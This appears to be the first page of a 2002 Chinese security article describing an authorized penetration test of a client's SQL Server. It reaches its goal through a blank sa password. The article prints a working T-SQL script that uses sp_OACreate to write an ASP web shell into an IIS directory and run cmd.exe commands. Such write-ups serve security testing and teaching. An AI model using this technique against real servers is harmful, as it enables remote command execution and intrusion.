· 2007网络安全热点话题征集
· 技术社区精美礼品实物竞拍
· 专家坐镇赛迪网病毒求助专区
 赛迪网 > IT技术 数据库 SQL Server
  IT资讯搜索
 
IT产品搜索

一次简单的SQL SERVER的安全测试 (1)

发布时间:2002.07.29 18:16     来源:赛迪网    作者:isfocus小组 SQL(sql@263.net)

编者按:SQL SERVER是大多数中小企业应用的首选,前面的文章中,作者SQL对Windows的安全配置进行了探讨,在本文中,将进一步对基于Windows的SQL SERVER的安全配置进行探讨。

在一次给客户做安全方案的设计的时候,对方提出一个要求希望我们可以实际攻击下他们的网络以验证是否真实存有安全漏洞,在得到客户许可以后我远程对他的网络进行了一次匿名的扫描探测,报告很快就出来了很简单SQL SERVER的管理员口令为空任何人都可以远程登陆过去连接,我还是按照惯例想利用CMDSHELL这个扩展的存储进程去执行一些东西才发现原来有点不一样了。

我本来想简单的利用个相成的工具去执行,可对方服务器给我返回了错误的消息,很显然对方的管理员出于安全的考虑已经把一些比较危险的SQL SERVER下东西给禁止了。近来网络上关于SQL SERVER安全配置的文章很多,看来的确还是有点作用。我接下来尝试利用SA的管理员身份恢复xp_cmdshell结果都是不成功。

看来这次的攻击有点意思了,我翻了一些资料找了找其他相关的说明最后把我的解决方法给大家参考。

首先我在CGI的扫描探测中发现对方IIS服务器存有危险的虚拟目录没有做删除处理比如/_vti_bin/这个目录就还存在,根据常识我可以知道这个目录对应的真实物理路径是在C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\这个目录下面,好的现在我们已经知道对方站点的一个真实可用的物理路径了,想想看以前总有人说暴露物理路径不是什么危险的漏洞,其实不然现在很多漏洞都是组合在一起利用。

然后利用SQL SERVER的客户端软件连过去,执行一个比较有意思的SQL脚本:

     
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 
   'C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%Set oScript = 
Server.CreateObject("WSCRIPT.SHELL"):oScript.Run ("cmd.exe /c dir c:\ > c:\i0.sys ") %>'
   
这个脚本看意思我们知道就是在对方的服务器的目录下写一个可执行的ASP文件,然后执行里面的命令dir c:\把结果定向到C盘下的一个文件。可能有人说这个脚本比较笨我也想把它写的更好,可惜自己能力有限试了几个其他的写法都是不成功。

1 2 下一页>>


[ 发表评论 ] 字体[  ] [ 打印 ] [ 进入博客 ] [ 进入论坛 ]  [ 推荐给朋友 ]
  相关文章
  客户需求反馈表
* 姓  名:
更多资料 了解方案 认识厂商
* 单位名称:
* 联系电话:
* 电子邮件:
  赛迪推荐  
  IT产品 ·笔记本·台式机·服务器·打印·投影
IT产品搜索 
  IT技术 ·开发·网管·安全·数据库·操作系统
  博客·论坛 ·曾剑秋·项立刚·Java学习·网管